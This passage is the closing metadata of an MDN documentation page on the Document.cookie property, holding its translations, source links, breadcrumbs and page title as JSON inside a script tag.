cookies.","popularity":0.0117,"modified":"2024-10-16T05:12:45.000Z","other_translations":[{"locale":"de","title":"Dokument: cookie-Eigenschaft","native":"Deutsch"},{"locale":"es","title":"document.cookie","native":"Español"},{"locale":"ja","title":"Document: cookie プロパティ","native":"日本語"},{"locale":"ru","title":"Document.cookie","native":"Русский"},{"locale":"zh-CN","title":"Document.cookie","native":"中文 (简体)"}],"pageType":"web-api-instance-property","source":{"folder":"en-us/web/api/document/cookie","github_url":"https://github.com/mdn/content/blob/main/files/en-us/web/api/document/cookie/index.md","last_commit_url":"https://github.com/mdn/content/commit/f216422c99b6c7014e398803b70600501bce8a48","filename":"index.md"},"short_title":"cookie","parents":[{"uri":"/en-US/docs/Web","title":"References"},{"uri":"/en-US/docs/Web/API","title":"Web APIs"},{"uri":"/en-US/docs/Web/API/Document","title":"Document"},{"uri":"/en-US/docs/Web/API/Document/cookie","title":"cookie"}],"pageTitle":"Document: cookie property - Web APIs | MDN","noIndexing":false}}</script></body></html>